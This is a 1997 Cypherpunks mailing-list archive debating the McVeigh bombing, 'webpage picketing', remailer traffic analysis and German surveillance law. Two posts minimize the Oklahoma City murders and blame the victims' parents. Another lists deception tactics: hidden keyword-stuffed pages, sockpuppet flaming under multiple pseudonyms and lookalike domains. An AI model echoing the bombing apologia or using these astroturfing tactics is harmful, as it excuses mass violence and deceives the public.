To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970603232509.03ccfe9c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:56 PM 6/3/97 -0400, Hallam-Baker wrote:
>It is surprising to find that you are so willing to be an open appologist
>for McVeigh's crime but in answer to your point: No children are going to
>grow up in a better world because of McVeigh or any of his followers,
>many will not grow up at all because he murdered them.
>

Give us a break.  Governments murdered 170megs of people this century.  Tim 
was a piker.  The Federales murdered over 300 at Wounded Knee alone.  Sure Tim 
was not too bright and had some unfortunate ideas but he didn't do anything 
that the U.S. government didn't do all the time.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5TgFIVO4r4sgSPhAQEQaQP/ViBFOeYYPosJ5h1C3GszUcwz/CHwGLWC
ce2AcalxAtvPBsX0LEouQMVibxHl33wEhCdyQCySNCIswqna7bLgFbumN54WH1XN
o4XEFcSE8kJBX/G7XQUVCIfh+kheaOd+Oiknlpe7L9MdcQ0vNPzPldMvNmdM76rT
dGdlh4AHw5U=
=3dSU
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 13:20:31 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706040442.XAA00428@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Tue, 3 Jun 1997 23:57:47 -0400 (EDT)
> From: Declan McCullagh <declan@pathfinder.com>
> Subject: Re: Webpage picketing

> Pickets arise from a peculiar set of circumstances that arise in
> meatspace, including public streets. Sure, you can picket The Gap at the
> store up the block from my office on Connecticut Avenue. But try to wave
> those signs outside The Gap in the Pentagon City mall not far away, and
> you'll be chased off by the security guards. It's a private space;
> different rules apply.

Pickets arise from people getting pissed off about some aspect of their
economic life and using their right to free speech to express it.

Absolutely, but I can most definitely picket the mall and the store at that
point with complete impunity from the sidewalk. And please correct me if my
geometry/geography is wrong, but in order to get into the private parking
spot at the private mall you do have to drive off the public street ACROSS
the public sidewalk where all those picketers are standing. After all, if
the mall won't let me express my opinions then I have an economic right as
a consumer to express my displeasure and try to warn other consumers of the
danger. It is irrelevant to my goal as a economic consumer whether I picket
the store inside the mall or outside. What IS important is that I have legal
access to ALL the customers using that business(es).

> And I think that we should be very careful about calling the Net a public
> forum. Sure, places like Usenet resemble a public forum in some ways, but
> it's not the same.

But I am not calling the net a public forum. I am specificaly talking about
a special case that might arise if we are not aware of the consequences. In
short it is a statement that it MIGHT be possible to use publicly funded
network backbones to seriously impede communication using the system against
itself.

> I think Greg has it right: you want to forcibly intervene in a
> communication between two consenting parties. What you want is similar to
> the right to come into my home and prevent me from speaking freely to my
> friend or lover. 

Not at all, unless you are implying the same expectation of privacy on a
public street (or backbone) that you would get in your home (or intranet).
I am stating the status quo, the level of expectant privacy on a public
street (internet) is in no way nearly as comprehensive as in your home
(intranet). Should you doubt this, walk around your living room with the
blinds drawn butt-naked and then try that again in the middle of downtown
at 5pm. If you want to go to store A and it is covered in picketers, you
WILL hear and see them even if you don't want to. Their right to speech is
such that if you want to use that business you must submit to an exposure of
their views however brief. My thesis is that it may be possible to extend
this legaly supportable model to a backbone which derives some or all of its
income from public funds. This could be a BAD thing, is it and why?. If it
is acceptable use of publicly funded resources in meatspace why should
publicy funded resources in bitspace be exempted? No more, no less.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 4 Jun 1997 12:18:48 +0800
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970603234401.03ccf980@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:56 PM 6/3/97 -0400, Hallam-Baker wrote:

>It is surprising to find that you are so willing to be an open appologist
>for McVeigh's crime but in answer to your point: No children are going to
>grow up in a better world because of McVeigh or any of his followers,
>many will not grow up at all because he murdered them.

Circa 1974, I was sitting in my law school lounge watching "The Charge of the 
Light Brigade" starring Errol Flynn on TV.  There was a group of other 
students there.  Then came the line from the film: "Men, we're going to show 
these Turks that you can't murder innocent women and children and live to 
boast about it (a British garrison had been attacked, which led to the 
Charge).  I immediately piped up, "That's funny, George McGovern did!"

McGovern, George -- Bomber pilot in WWII, "peace" candidate for President of 
the United States in 1972.  

Lots of baby killers out there in the strangest places.

As to the Children of OKC, people who turn the care of their children over to 
government employees or contractors do not place too high a value on those 
children.

DCF
-----BEGIN PGP SIGNATURE-----
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Charset: noconv

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EdhtSiYxNWQ=
=ARIV
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 11:50:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Who "invented" remailers?
In-Reply-To: <v0310280cafba70127c0a@[207.167.93.63]>
Message-ID: <199706040344.XAA12280@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> Well, in light of the comments recently from Rotenberg that we are just a
> bunch of armchair activists, and in light of comments I've received that my

... Well Tim you did sorta ask for that particular comment... but passing on

> We see this "they can probably track messages if they want to" view
> expressed often. Especially by people who haven't thought about the issue
> in detail, who perhaps just think it "only stands to reason" that the NSA
> or CIA could backtrack trace messages if they wished to.

The point I was making was rather different, I think the total volume
of PGP mail of all types is probably not a large enough fraction of the
trafic on the net to be secure. Taking any use of PGP as prima facie
evidence of subversive activity probably provides a reasonable cut.

If you want to take this offline I can discuss actual examples of 
countries that use this type of trafic analysis. The point is to
identify social networks. Anyone attempting to conceal their social
network is probably subversive.

Note that the type of government I'm talking about here is way beyond
the US in authoritarianism, much more like the USSR of old.

> While not accusing Phill of being one of these folks who is just
> speculating, I really encourage him to carefully look at this issue, to do
> some calculations of the mix entropy introduced with sites use mix fan-ins
> of sufficient size.

How many people in total do you have using the mixers? How many mixers
are there? 

> (Hint: 10 remailers each taking in 10 messages of the same rounded-off size
> give 10^10 possible routings to follow. Of course, there are not 10 billion
> messsages in all. But by the pigeonhole principle, in fact, it means any
> final output message could have been any of the input messages. If the
> remailers do not reveal input-output mappings ("collusion"), it is hard to
> imagine traffic analysis doing much.

Not if the principle applied is that any use of the mixer taints the 
person concerned.

> With 100 digital mixes, each taking in 100 messages before resending, there
> are more routings to track back than there are particles in the universe.
> Smoke that, CIA!

If the total usebase is bellow 10,000 then identifying which person 
received which message is probably not too necessary.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:42:56 +0800
To: cypherpunks@toad.com
Subject: SPAMs across the border - regulatory arbitrage strikes again
Message-ID: <3.0.1.32.19970603234726.0068a77c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I got my first Canadian spam today - as US Congresscritters are
planning to pave a few more blocks of the Information Superhighway
with "good intentions", spammers are moving offshore (well, if
Bedford NS is offshore, anyway...) outside their grasp.
Of course, the SPAMMER's ISP is Spamford, but he could move to the
Great White North as well.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 4 Jun 1997 12:09:19 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Webpage picketing
In-Reply-To: <3.0.2.32.19970603194655.008a12f0@mail.io.com>
Message-ID: <Pine.GSO.3.95.970603234509.10259A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Pickets arise from a peculiar set of circumstances that arise in
meatspace, including public streets. Sure, you can picket The Gap at the
store up the block from my office on Connecticut Avenue. But try to wave
those signs outside The Gap in the Pentagon City mall not far away, and
you'll be chased off by the security guards. It's a private space;
different rules apply.

And I think that we should be very careful about calling the Net a public
forum. Sure, places like Usenet resemble a public forum in some ways, but
it's not the same.

I think Greg has it right: you want to forcibly intervene in a
communication between two consenting parties. What you want is similar to
the right to come into my home and prevent me from speaking freely to my
friend or lover. 

Now, perhaps a market will develop for virtual pickets. Businesses may
flock to "online storefronts" that have certain rules including the right
to create "Heineken out of Burma!" pages that appear before the beer
company's web site if a number of the mall visitors demand it -- a virtual
picket? Publications like The Nation might endorse businesses that have
virtual storefronts in such "picket friendly" environments. But this is a
stretch and more silly than not.

-Declan



On Tue, 3 Jun 1997, Greg Broiles wrote:

> At 07:21 PM 6/3/97 -0500, Jim Choate wrote:
> 
> >Under what conditions akin to sidewalk use might a provider or network
> >provider be forced to provide any user requesting a link to the
> >objectionable page with the page of the objecting group.
> 
> Let's abandon the meatspace metaphor, and just talk about what you're
> proposing - you want to insert third parties into a communication between
> two non-consenting parties. 
> 
> Why is this useful? I think it sounds like an awful idea.
> 
> >What I see is a simple single screen page that immediatly takes you to the
> >desired page. Something conceptualy akin to a picket sign.
> 
> I don't see any reason to, if we adopt your reasoning, limit this practice
> to web pages - shit, we ought to be able to attach things to each other's
> E-mail messages, hijack each other's IRC sessions, tack things onto the end
> of each other's files sent via FTP, add things to other people's NFS
> directory trees .. yeah. 
> 
> Who's going to keep track of all of this stuff? Are ISP's and backbone
> providers supposed to give other people free hard disk space/connectivity
> to do this? Or do you want the government to do it? What about blocking
> software, which erases the picketing notices? Will that be allowed?
> 
> Conventional picketing works where private space is adjacent to public
> space, such that people in the public space can limit access to the private
> space, or do things in the public space which are visible to peole in the
> private space. Adjacency isn't really meaningful in "cyberspace", because
> it depends on arbitrary and changeable "locations" .. and there's very
> little "public space" in cyberspace, at least in the way that there's
> public space (like streets and roads and parks) in meatspace. 
> 
> Do you think we should adopt "bookspace picketing", whereby public
> libraries are obligated to include hostile rants with books in their
> collections, or even notations that "The Authoritarian League believes this
> book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to
> learn more"? Perhaps we should implement a program of "wordspace
> picketing", whereby we're obligated to, before we orally discuss our own
> opinions in a public place, mention the counterarguments made by critics.
> 
> 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         | 
> http://www.io.com/~gbroiles | Export jobs, not crypto.
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 4 Jun 1997 12:12:02 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102806afb8d1b8fe50@[207.167.93.63]>
Message-ID: <3.0.2.32.19970604000130.0077b860@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>(There are also reasons for them to "tone down" their rhetoric. Some of
>them have sent me e-mail saying they agree with my points (or disagree, as
>the case may be) but do not feel comfortable posting publically, given
>their present employment with these companies. This is a natural
>development. Go back and read the rhetoric in 1992-5 about controversial
>issues....many of the essayists of even the most controversial pieces then
>are now at companies and are understandably less vocal. So?)

I find this hard to believe.  I guess it takes all kinds to make a world.  In 
the current employment market for people with crypto skills, few are going to 
get fired for their political views and no one of these types would find it 
hard to get another job if fired.

Even those without crypto skills (myself for example) would find it trivial to 
find work.

I make no secret of my political views when talking to people I work with.  
Most of them are quite conventional people including government employees.  
Maybe my personal manner is less threatening. 

If my boss told me to tone down my views (something that's never happened), 
I'd argue with him.  After short arguments, people usually leave me alone.  My 
mouth intimidates them.  (My mouth not my breath.)

DCF

  
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Version: 5.0 beta
Charset: noconv

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usr8anT2KKM4b6d9Sq6p4Pqmy3P9ypzYadJJqxbNZF8PI9pdJ8C1PP7QhZ1SHDtm
xHHgal29UiBpAELZoZwxFuwbvySfqdFlIG4NpVEBFm7yysjzYIrJG2/J3EVXFPyG
8sBf44GV8u4=
=UFzs
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Wed, 4 Jun 1997 15:13:04 +0800
To: cypherpunks@toad.com
Subject: Re: Guilty!
Message-ID: <3.0.32.19970603235514.007261e0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger sobered up and wrote:

>  The bottom line is that no matter what our position in life, no matter
>what our beliefs, opinions and actions, there are a few billion other
>entities sharing our world who are organized into camps which support or
>oppose us today and may do the opposite tomorrow.
....................................................................


In the end you have to be prepared to defend yourself from anyone;
as anyone can become an enemy.   

The only true support is an active intelligence. 






    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 13:54:51 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706040518.AAA00570@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Dude,

Forwarded message:

> Date: Tue, 03 Jun 1997 19:46:55 -0700
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Webpage picketing

> Why is this useful? I think it sounds like an awful idea.

I suspect the visitors to abortion clinics would agree with you. I doubt
the right-to-lifers or the judge would. Pleasure and good ideas are not
necessarily one-to-one.

> Who's going to keep track of all of this stuff? Are ISP's and backbone
> providers supposed to give other people free hard disk space/connectivity
> to do this? Or do you want the government to do it? What about blocking
> software, which erases the picketing notices? Will that be allowed?

One could argue that just as we must pave public sidewalks and roads as well
as provide publicly accessible sewer pipes we might be required to provide
webspace on the endpoint routers of the public sections of the backbone, and
then we ALL get to pay for our daily aggravation ("push the button to torture
the subject", subject pushes button and spasms in electric agony). Perhaps
that is the real reason it would bite.

> Conventional picketing works where private space is adjacent to public
> space, such that people in the public space can limit access to the private
> space, or do things in the public space which are visible to peole in the
> private space. Adjacency isn't really meaningful in "cyberspace", because
> it depends on arbitrary and changeable "locations" .. and there's very
> little "public space" in cyberspace, at least in the way that there's
> public space (like streets and roads and parks) in meatspace. 

Hmmm, I have NEVER seen einstein go anywhere nor the cables it is connected
to. I can certainly say that I doubt the hundreds of machines in my work lab
cavort around the shop when I am gone. No, I don't accept your premise that
the connections in the Internet are that mobile.

Lack of public space may be the saving grace, unfortunately there is quite
a bit of involvment planned by Uncle Sam if I am not mistaken...Internet II...
V-II Chip... GAK... ITAR... That supercomputer science network thingy...

Get the picture?

> Do you think we should adopt "bookspace picketing", whereby public
> libraries are obligated to include hostile rants with books in their
> collections, or even notations that "The Authoritarian League believes this
> book is harmful, read _Why I Need Someone to Run My Life_ by Joe Schmo to
> learn more"? Perhaps we should implement a program of "wordspace
> picketing", whereby we're obligated to, before we orally discuss our own
> opinions in a public place, mention the counterarguments made by critics.

You can certainly stand in front of that store on the public street and
offer to give said material away (remember to pick those up people throw
down). And there ain't a damn thing you can do to make them leave.

I would hope you would explain and address the counter-arguments of your
critics. Otherwise your discussions might be a little one sides and hopefuly
quite short. I personaly hate monotonic lunatic raves (unless there is a
kick-ass band and pretty women).

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:42:26 +0800
To: cypherpunks@toad.com
Subject: Re: Webpage picketing
In-Reply-To: <3.0.2.32.19970603194655.008a12f0@mail.io.com>
Message-ID: <3.0.1.32.19970604002716.007458f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Web page picketing is easy - there are a bunch of ways to do it,
with varying degrees of coverage.  Here are some examples:

0) Hijack DNS or routers - sorry, no points for this.

1) Convince people to use your system for web access -
easy if you're AOL or Prodigy, trying to provide a family-oriented service,
or <your company>'s firewall; you can replace URLs at playboy.com
with the "You can't access that site from here" page.

2) Convince people to use your software - Censorware Inc
can do the same kind of thing, as well as tell their mom.

3) Create a serious picket sign FAQ web page and put it out there
for people to find.  And post your FAQ to Usenet occasionally.

4) Create a picket sign web page that's more attractive to AltaVista
as your target's page.  That won't stop references to www.yourtarget.com,
but it will jump out at news reporters and casual browsers looking
for what yourtarget.com has on the web. You can do the usual comment lines
or small print at the bottom of the page
	<title>Boycott Yourtarget.com , makers of Evil_Product</title>
	<body> lots of stuff about them and why they're Bad
	<font=-3 color=black> yourtarget.com is politically incorrect.
		yourtarget.com censored your mama and burned the flag.
		yourtarget.com yourtarget.com yourtarget.com yourtarget.com
		theirproduct theirotherproduct their_type_of_business
		keywords keywords more_stuff_from_their_pages </font>

5) Keep flaming them on Usenet, especially using lots of different
pseudonyms discussing it with each other, to fill up DejaNews.
	Alice:"Did you hear that yourtarget.com exploits its workers?"
	Bob:  "No, really, are those mothercensors doing that too?"
		You know the 666 in their logo is because the Illuminati own them?"
	Alice: "That's just a 'Help, I'm being held hostage' note
		snuck in by Vl.... D.tw..l.., who used to work for them.
		But they really do make their product from baby seal hides."
Obviously you need good sub-flame picketing so people don't killfile you
like they did with S..... Ar..., the Turkish flamebot.

6) Getting a newsgroup created just for criticizing them gets extra points.

7) Set up a Boycott Information Center web page or a Badder Business Bureau
and make it easy for people to post the Bad Things done by lots of Bad People.
In addition to your targets, you could prime it with other popular Bad People,
or just advertise it well, and make it easy to use, serious-looking,
and attractive to people of the political/economic persuasion you want
to reach as well as to the press.  Declan McCullagh wrote:
> 	Now, perhaps a market will develop for virtual pickets. 
>	Businesses may flock to "online storefronts" that have certain rules 
>	including the right to create "Heineken out of Burma!" pages that appear 

8) Set up a Web Page Parodies Home Page, and make it easy for people to post
parodies of other web pages; add a zinging parody of your target.
Usenet being a moving parody of itself, it's a good place to create a 
newsgroup
that you can also use to parody the target.

9) Usenet signature lines are cheap and easy - use them, and point to
your picket web pages from them.  If you can get people to copy yours, 
even better.  

You can think of more.....


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5UY0/thU5e7emAFAQF5ZwH9FyIvhDihfBHU4IAxN3ItHE/QmUKFac+k
Gw4xP9AVzLCz99/GvHGkO123P1kmz3svlQRE/pClwx5EYDqAaq2kEQ==
=+KC+
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:45:01 +0800
To: cypherpunks@toad.com
Subject: Re: Webpage picketing
Message-ID: <3.0.1.32.19970604003227.0077da20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Web page picketing is easy - there are a bunch of ways to do it,
>with varying degrees of coverage.  Here are some examples:
>0) Hijack DNS or routers - sorry, no points for this.

Foo.  I forgot to add an obvious variant
0a) Creating a similar or parody domain name like micros0ft.com
	or microsquish.com sometimes gets you points, if done well.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 16:17:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970604003346.03a8f3a4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:52 AM 6/4/97 GMT+0200, Ulf Möller wrote:
>This is a gross exaggeration.  "Pattern investigation" can be used to
>investigate certain severe crimes that cannot be solved otherwise.  It
>must be warranted by a judge, naming the patterns that the respective
>committer is believed to match.  There have been three "pattern
>investigations" ever, since the law was passed in 1991 (none of them
>successful).

The German authorities conducted pattern investigations long before 1991.
The early 80's kidnapping of the industrialist comes to mind. [The
kidnapping that ultimately caused the suspected co-conspirators to be
sucided in their solitary confinement maximum security cells. Cells that
were under 24h audio surveilance. Unfortunatly, the tapes for that fateful
night mysteriously disappeared...]

But note the requirement you mention: "severe crimes...warranted by a
judge". Where have we heard this one before? Right. The four horsemen of
the infocalypse.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 16:19:45 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: May's Banal Rant
In-Reply-To: <3.0.2.32.19970602110450.0077d010@netcom13.netcom.com>
Message-ID: <3.0.2.32.19970604004836.03a8c4c0@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:17 PM 6/3/97 +0000, Paul Bradley wrote:
>This is not so certain, crypto-anarchy would of course be achieved if 
>anarchy in general were achieved, this could occur if strong action were 
>taken such as nuking DC.

I sincerely doubt that nuking DC would lead to anarchy. A draconian police
state with travel permits and bomb sniffers in every bus perhaps, but
anarchy? Very unlikely.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 4 Jun 1997 15:41:16 +0800
To: hallam@ai.mit.edu
Subject: Re: McVeigh
In-Reply-To: <199706032129.RAA10938@muesli.ai.mit.edu>
Message-ID: <199706032349.AAA00708@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Hallam-Baker <hallam@ai.mit.edu> writes:
> > >There is absolutely nothing that the anti-government ranters contribute
> > >to the pro-cryptography movement...
> > 
> > Nothing except motivation.  Anti-government ranters founded this list, 
> > invented remailers, and did a lot of other good work.  
> 
> [first remailer ...]
>
> I'll accept that the ranting faction do some good work but I've 
> not seen anything usefull out of either Bell or Vulis unless that
> is you are an FBI agent looking to get a promotion from Freeh.

Dimitri rights code sometimes.  He wrote a cancel-bot.  Very
constructive piece of work in an indirect way.  See: having nice
freely available cancel-bots enables technically clueless, would
be-censors to censor more.  They censor more, and cause a nuisance for
themselves sending out tons of cancel messages.  This incentivizes
more and more people to ignore cancels (the trend in news
administration these days I understand is to ignore cancels entirely),
which means that you can't have your USENET posts censored nearly as
easily.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Wed, 4 Jun 1997 07:05:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com>
Message-ID: <m0wZ2RU-0003bAC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>German "dragnet investigations" and "pattern investigations" come to mind.
>The German BKA (the equivalent of the FBI) keeps a giant database that
>correlates "suspicious" behavior. [...]
>
>If you collect enough points, the feds come by to interrogate you.

This is a gross exaggeration.  "Pattern investigation" can be used to
investigate certain severe crimes that cannot be solved otherwise.  It
must be warranted by a judge, naming the patterns that the respective
committer is believed to match.  There have been three "pattern
investigations" ever, since the law was passed in 1991 (none of them
successful).

>It appears naive to claim that GAK could not happen under a Privacy
>Commissioner. It could and it will.

At least one German law professor argues that GAK is no problem if the
escrow agents are regularly inspected by the Privacy Commissioner.

The Privacy Commissioners on the other hand say that a crypto
regulation would be unconstitutional.

I agree that the existence of privacy officials will not prevent GAK.
But the constitutional protection of privacy should.  The German
privacy regulation is based on a decision of the Constitutional Court
which states that the citizen must be protected from an omniscient
state, and from omniscient business.  This decision clearly makes the
scenario you described above illegal.


The government draft of the Information and Communication Services Law
specifies that service providers "shall make it possible for the user
to use teleservices and to pay for them either anonymously or using a
pseudonym, insofar as this is technically possible and can be
reasonably expected".

The Bundesrat (Upper House) disagrees: "Users [...] can also be
information providers that e.g. post information to the Internet.
If these have a legal claim to use the service anonymously, they
will in future be able to commit crimes without having to fear to
be identified."

Others warn that failing to let the market decide will lead to
misinvestments, and that anonymous services will quickly be deployed
on a voluntary basis if there is a demand.

It's probably obvious which of these are right.  Nevertheless, I think
it is encouraging that the government accepts that anonymity has a
value. (They will never learn that sometimes it is better not to make
a law.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 13:02:19 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102811afba9fb5ad1c@[207.167.93.63]>
Message-ID: <199706040457.AAA12535@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> >The point I was making was rather different, I think the total volume
> >of PGP mail of all types is probably not a large enough fraction of the
> >trafic on the net to be secure. Taking any use of PGP as prima facie
> 
> ^^^^^^^^^^
> >evidence of subversive activity probably provides a reasonable cut.
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> If you mean as prosecutable offense, I don't think you fully understand the
> laws of the United States. Much as we like to criticize the U.S., and bad
> laws, and whatnot, there is no such thing as "prima facie evidence of
> subversive activity," at least not since the House Unamerican Activities
> Committee and Joe McCarthy.

I really can't get excited about US domestic policy. That is not where the
crypto is needed. 

Eve so if you hypothesise the extent of surveillance such that mixmaster
remaillers are needed the constitution was thrown out long ago.

Now this happened under Hoover and the FBI still have their headquarters
named after him.

I'm having great difficulty making sense of the finely calibrated level of
paranoia which makes mixmaster both effective and necessary.

On the other hand it strikes me that if we could work out a better version
of Julf's pi.net remailer there would be a considerable benefit to the net.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 16:15:26 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040027.UAA11558@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970604010625.03a9313c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:27 PM 6/3/97 -0700, Tim May wrote:
>(There are important issues, discussed by several of us several years ago,
>and more recently by Wei Dai and Lucky Green, dealing with correlation
>analysis of messages sent and messages received...esentially pattern
>analysis.

This type of analysis is unlikely to provide useful results for
high-latency systems such as remailers. However, this analysis can be very
fruitful on near real time systems such as ill-designed chained http
anonymizers.

[Tim of course knows this, I just want to make sure that this is
universally understood.]


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Wed, 4 Jun 1997 16:46:44 +0800
To: cypherpunks@cyberpass.net
Subject: Profanity, PCS phones, and FCC
Message-ID: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



Well I went and got a PCS phone (Ericsson), and was pilfering through the 
manual, and came across this amusing text in the "Operating procedures"
section of the "Guidelines for Safe and Efficient Use":

  Portable PCS telephones are subject to the rules and regulations
  of the Federal Communications Commission (FCC). Following
  these rules will help eliminate confusion, ensure the most efficient
  use of the existing frequencies, and result in a functioning
  radio network. The following offenses are punishable by fine,
  imprisonment, or both:

   o Use of profane, indecent, or obscene language while using your
     phone.

   [a bunch more snipped but somewhat more sane regulations]

Joy. More laws to break.

Jeremey.
--
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Name Withheld by Request)
Date: Wed, 4 Jun 1997 09:32:38 +0800
To: anon.lcs.mit.edu.mix-l@jpunix.com
Subject: ANNOUNCE: Mixmaster 2.0.4 beta available
Message-ID: <199706040125.DAA19874@basement.replay.com>
MIME-Version: 1.0
